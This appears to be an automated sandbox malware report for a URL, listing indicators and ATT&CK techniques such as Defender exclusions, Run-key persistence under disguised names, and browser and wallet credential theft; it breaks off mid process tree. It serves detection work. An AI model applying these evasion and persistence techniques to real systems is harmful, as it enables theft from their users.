hxxp://test[.]com | Triage™

Analysis

user interaction
yes
max time kernel
114s
max time network
116s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
06/08/2026, 09:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://test.com
Sample260806-llsrjsgh73

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 36 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\vcredist_runtime.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Desktop\core-release\bin\core-silent.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\vcredist_runtime.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Desktop\core-release\bin\core-silent.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\vcredist_runtime.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Cache\artifacts = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\bootstrap_48a9.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\bootstrap_48a9.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\bootstrap_48a9.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.tmp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Cache\artifacts = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\bootstrap_48a9.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.tmp = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\vcredist_runtime.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 17 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1628	powershell.exe
6924	powershell.exe
692	powershell.exe
5844	powershell.exe
5856	powershell.exe
1924	powershell.exe
5652	powershell.exe
6756	powershell.exe
7132	powershell.exe
5744	powershell.exe
3520	powershell.exe
6532	powershell.exe
2948	powershell.exe
3764	powershell.exe
1628	powershell.exe
6924	powershell.exe
692	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe	bootstrap_48a9.exe

Executes dropped EXE 5 IoCs

pid	Process
2904	vcredist_runtime.exe
2284	bootstrap_48a9.exe
6500	RuntimeBroker.exe
6620	HealthService.exe
7068	vcredist_runtime.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 3 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
4580	cmd.exe
6884	cmd.exe
2120	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\RuntimeBroker\\RuntimeBroker.exe"	bootstrap_48a9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Security\\Health\\HealthService.exe"	bootstrap_48a9.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
184	camo.githubusercontent.com
185	camo.githubusercontent.com

Hide Artifacts: Hidden Window 1 TTPs 4 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
4968	cmd.exe
4580	cmd.exe
6884	cmd.exe
2120	cmd.exe

Looks up external IP address via web service 1 TTPs 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
243	ifconfig.me
244	ifconfig.me
256	api.ipify.org
257	api.ipify.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
5444	wscript.exe
2676	wscript.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4580	cmd.exe
6884	cmd.exe
2120	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5472	cmd.exe
4304	cmd.exe
5304	cmd.exe
4948	cmd.exe
4376	cmd.exe
7084	cmd.exe
2940	cmd.exe
2652	cmd.exe
4188	cmd.exe
5332	cmd.exe
4568	cmd.exe
6956	cmd.exe
5156	cmd.exe
4408	cmd.exe
4212	cmd.exe
5304	cmd.exe
1404	cmd.exe
2300	cmd.exe
5652	cmd.exe
1056	cmd.exe
548	cmd.exe
4804	cmd.exe
5412	cmd.exe
5612	cmd.exe
3396	cmd.exe
2688	cmd.exe
5988	cmd.exe
5904	cmd.exe
5616	cmd.exe
4600	cmd.exe
3028	cmd.exe
3164	cmd.exe
3336	cmd.exe
3768	cmd.exe
3756	cmd.exe
628	cmd.exe
6704	cmd.exe
4848	cmd.exe
4140	cmd.exe
3636	cmd.exe
5932	cmd.exe
3128	cmd.exe
4316	cmd.exe
6164	cmd.exe
4992	cmd.exe
3964	cmd.exe
1620	cmd.exe
4476	cmd.exe
3220	cmd.exe
3876	cmd.exe
6484	cmd.exe
3908	cmd.exe
4632	cmd.exe
2428	cmd.exe
1868	cmd.exe
4488	cmd.exe
4480	cmd.exe
4660	cmd.exe
1696	cmd.exe
2876	cmd.exe
5896	cmd.exe
4820	cmd.exe
6648	cmd.exe
3836	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5212	wmic.exe
2616	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134304826655199158"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3053180483-1881419501-3594244048-1000\{963DABB4-E460-465E-996F-115C43CB80D7}	msedge.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6288	schtasks.exe

Suspicious behavior: EnumeratesProcesses 52 IoCs

pid	Process
3764	powershell.exe
3764	powershell.exe
3764	powershell.exe
5164	powershell.exe
5164	powershell.exe
5164	powershell.exe
5844	powershell.exe
5844	powershell.exe
5844	powershell.exe
5856	powershell.exe
5856	powershell.exe
5856	powershell.exe
1924	powershell.exe
1924	powershell.exe
1924	powershell.exe
3520	powershell.exe
3520	powershell.exe
3520	powershell.exe
5652	powershell.exe
5652	powershell.exe
5652	powershell.exe
1628	powershell.exe
1628	powershell.exe
1628	powershell.exe
5728	powershell.exe
5728	powershell.exe
5728	powershell.exe
6532	powershell.exe
6532	powershell.exe
6532	powershell.exe
6756	powershell.exe
6756	powershell.exe
6756	powershell.exe
6924	powershell.exe
6924	powershell.exe
6924	powershell.exe
7132	powershell.exe
7132	powershell.exe
7132	powershell.exe
5744	powershell.exe
5744	powershell.exe
5744	powershell.exe
2948	powershell.exe
2948	powershell.exe
2948	powershell.exe
2904	vcredist_runtime.exe
2904	vcredist_runtime.exe
692	powershell.exe
692	powershell.exe
692	powershell.exe
2904	vcredist_runtime.exe
2904	vcredist_runtime.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

pid	Process
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3764	powershell.exe
Token: SeDebugPrivilege	5164	powershell.exe
Token: SeDebugPrivilege	5844	powershell.exe
Token: SeDebugPrivilege	5856	powershell.exe
Token: SeDebugPrivilege	1924	powershell.exe
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeDebugPrivilege	5652	powershell.exe
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeDebugPrivilege	5728	powershell.exe
Token: SeDebugPrivilege	6532	powershell.exe
Token: SeDebugPrivilege	6756	powershell.exe
Token: SeDebugPrivilege	6924	powershell.exe
Token: SeDebugPrivilege	7132	powershell.exe
Token: SeDebugPrivilege	5744	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeDebugPrivilege	692	powershell.exe
Token: SeIncreaseQuotaPrivilege	6348	wmic.exe
Token: SeSecurityPrivilege	6348	wmic.exe
Token: SeTakeOwnershipPrivilege	6348	wmic.exe
Token: SeLoadDriverPrivilege	6348	wmic.exe
Token: SeSystemProfilePrivilege	6348	wmic.exe
Token: SeSystemtimePrivilege	6348	wmic.exe
Token: SeProfSingleProcessPrivilege	6348	wmic.exe
Token: SeIncBasePriorityPrivilege	6348	wmic.exe
Token: SeCreatePagefilePrivilege	6348	wmic.exe
Token: SeBackupPrivilege	6348	wmic.exe
Token: SeRestorePrivilege	6348	wmic.exe
Token: SeShutdownPrivilege	6348	wmic.exe
Token: SeDebugPrivilege	6348	wmic.exe
Token: SeSystemEnvironmentPrivilege	6348	wmic.exe
Token: SeRemoteShutdownPrivilege	6348	wmic.exe
Token: SeUndockPrivilege	6348	wmic.exe
Token: SeManageVolumePrivilege	6348	wmic.exe
Token: 33	6348	wmic.exe
Token: 34	6348	wmic.exe
Token: 35	6348	wmic.exe
Token: 36	6348	wmic.exe
Token: SeIncreaseQuotaPrivilege	6348	wmic.exe
Token: SeSecurityPrivilege	6348	wmic.exe
Token: SeTakeOwnershipPrivilege	6348	wmic.exe
Token: SeLoadDriverPrivilege	6348	wmic.exe
Token: SeSystemProfilePrivilege	6348	wmic.exe
Token: SeSystemtimePrivilege	6348	wmic.exe
Token: SeProfSingleProcessPrivilege	6348	wmic.exe
Token: SeIncBasePriorityPrivilege	6348	wmic.exe
Token: SeCreatePagefilePrivilege	6348	wmic.exe
Token: SeBackupPrivilege	6348	wmic.exe
Token: SeRestorePrivilege	6348	wmic.exe
Token: SeShutdownPrivilege	6348	wmic.exe
Token: SeDebugPrivilege	6348	wmic.exe
Token: SeSystemEnvironmentPrivilege	6348	wmic.exe
Token: SeRemoteShutdownPrivilege	6348	wmic.exe
Token: SeUndockPrivilege	6348	wmic.exe
Token: SeManageVolumePrivilege	6348	wmic.exe
Token: 33	6348	wmic.exe
Token: 34	6348	wmic.exe
Token: 35	6348	wmic.exe
Token: 36	6348	wmic.exe
Token: SeIncreaseQuotaPrivilege	5212	wmic.exe
Token: SeSecurityPrivilege	5212	wmic.exe
Token: SeTakeOwnershipPrivilege	5212	wmic.exe
Token: SeLoadDriverPrivilege	5212	wmic.exe
Token: SeSystemProfilePrivilege	5212	wmic.exe
Token: SeSystemtimePrivilege	5212	wmic.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe

Suspicious use of SendNotifyMessage 52 IoCs

pid	Process
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4756 wrote to memory of 4236	4756	msedge.exe	86
PID 4756 wrote to memory of 2616	4756	msedge.exe	87
PID 4756 wrote to memory of 3048	4756	msedge.exe	88
PID 4756 wrote to memory of 3048	4756	msedge.exe	88
PID 4756 wrote to memory of 3048	4756	msedge.exe	88
PID 4756 wrote to memory of 4388	4756	msedge.exe	89
PID 4756 wrote to memory of 4388	4756	msedge.exe	89
PID 4756 wrote to memory of 5028	4756	msedge.exe	91
PID 4756 wrote to memory of 5028	4756	msedge.exe	91
PID 4756 wrote to memory of 5028	4756	msedge.exe	91
PID 4756 wrote to memory of 4380	4756	msedge.exe	92
PID 4756 wrote to memory of 4380	4756	msedge.exe	92
PID 4756 wrote to memory of 4380	4756	msedge.exe	92
PID 4756 wrote to memory of 5024	4756	msedge.exe	94
PID 4756 wrote to memory of 5024	4756	msedge.exe	94
PID 4756 wrote to memory of 5024	4756	msedge.exe	94
PID 4756 wrote to memory of 2796	4756	msedge.exe	95
PID 4756 wrote to memory of 2796	4756	msedge.exe	95
PID 4756 wrote to memory of 2796	4756	msedge.exe	95
PID 4756 wrote to memory of 4340	4756	msedge.exe	97
PID 4756 wrote to memory of 2248	4756	msedge.exe	98
PID 4756 wrote to memory of 4340	4756	msedge.exe	97
PID 4756 wrote to memory of 2248	4756	msedge.exe	98
PID 4756 wrote to memory of 3388	4756	msedge.exe	100
PID 4756 wrote to memory of 1880	4756	msedge.exe	104
PID 4756 wrote to memory of 1880	4756	msedge.exe	104
PID 4756 wrote to memory of 1880	4756	msedge.exe	104
PID 4756 wrote to memory of 1484	4756	msedge.exe	105
PID 4756 wrote to memory of 1484	4756	msedge.exe	105
PID 4756 wrote to memory of 5316	4756	msedge.exe	106
PID 4756 wrote to memory of 5316	4756	msedge.exe	106
PID 4756 wrote to memory of 5316	4756	msedge.exe	106
PID 4756 wrote to memory of 2328	4756	msedge.exe	108
PID 4756 wrote to memory of 2328	4756	msedge.exe	108
PID 4756 wrote to memory of 2328	4756	msedge.exe	108
PID 4756 wrote to memory of 3996	4756	msedge.exe	109
PID 4756 wrote to memory of 3996	4756	msedge.exe	109
PID 4756 wrote to memory of 3996	4756	msedge.exe	109
PID 4756 wrote to memory of 5840	4756	msedge.exe	110
PID 4756 wrote to memory of 5840	4756	msedge.exe	110
PID 4756 wrote to memory of 5840	4756	msedge.exe	110
PID 4756 wrote to memory of 5368	4756	msedge.exe	111
PID 4756 wrote to memory of 5368	4756	msedge.exe	111
PID 4756 wrote to memory of 5368	4756	msedge.exe	111
PID 4756 wrote to memory of 2372	4756	msedge.exe	112
PID 4756 wrote to memory of 2372	4756	msedge.exe	112
PID 4756 wrote to memory of 2372	4756	msedge.exe	112
PID 4756 wrote to memory of 416	4756	msedge.exe	113
PID 4756 wrote to memory of 416	4756	msedge.exe	113
PID 4756 wrote to memory of 416	4756	msedge.exe	113
PID 4756 wrote to memory of 5236	4756	msedge.exe	121
PID 4756 wrote to memory of 5496	4756	msedge.exe	122
PID 4756 wrote to memory of 5184	4756	msedge.exe	123
PID 4756 wrote to memory of 1052	4756	msedge.exe	124
PID 4756 wrote to memory of 1052	4756	msedge.exe	124
PID 4756 wrote to memory of 1052	4756	msedge.exe	124
PID 4756 wrote to memory of 4648	4756	msedge.exe	129
PID 4756 wrote to memory of 4648	4756	msedge.exe	129
PID 4756 wrote to memory of 4648	4756	msedge.exe	129
PID 4756 wrote to memory of 4632	4756	msedge.exe	130
PID 4756 wrote to memory of 4632	4756	msedge.exe	130
PID 4756 wrote to memory of 4632	4756	msedge.exe	130
PID 4756 wrote to memory of 2612	4756	msedge.exe	132
PID 4756 wrote to memory of 2612	4756	msedge.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://test.com
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x2f0,0x7ffdf7aac188,0x7ffdf7aac194,0x7ffdf7aac1a0
  2⤵
  PID:4236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1832,i,11487551861015696848,12673580616863720630,524288 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=2356 /prefetch:3
  2⤵
  - System Time Discovery
  PID:2616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1624,i,17757986740870561600,2857873069635365759,262144 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=2276 /prefetch:2
  2⤵
  PID:3048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2184,i,14692124034174348747,17792970028581259046,524288 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=2928 /prefetch:8
  2⤵
  PID:4388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3508,i,14152669921419765224,7230213689039457720,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:1
  2⤵
  PID:5028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3512,i,4086187356200184737,3608152330073250919,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:1
  2⤵
  PID:4380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4888,i,3477868990838908228,5601198585962499391,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=4960 /prefetch:1
  2⤵
  PID:5024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
